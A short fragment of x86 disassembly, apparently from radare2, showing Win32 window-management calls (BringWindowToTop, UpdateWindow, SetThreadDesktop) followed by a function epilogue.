call dword [sym.imp.USER32.dll_BringWindowToTop]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x800]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret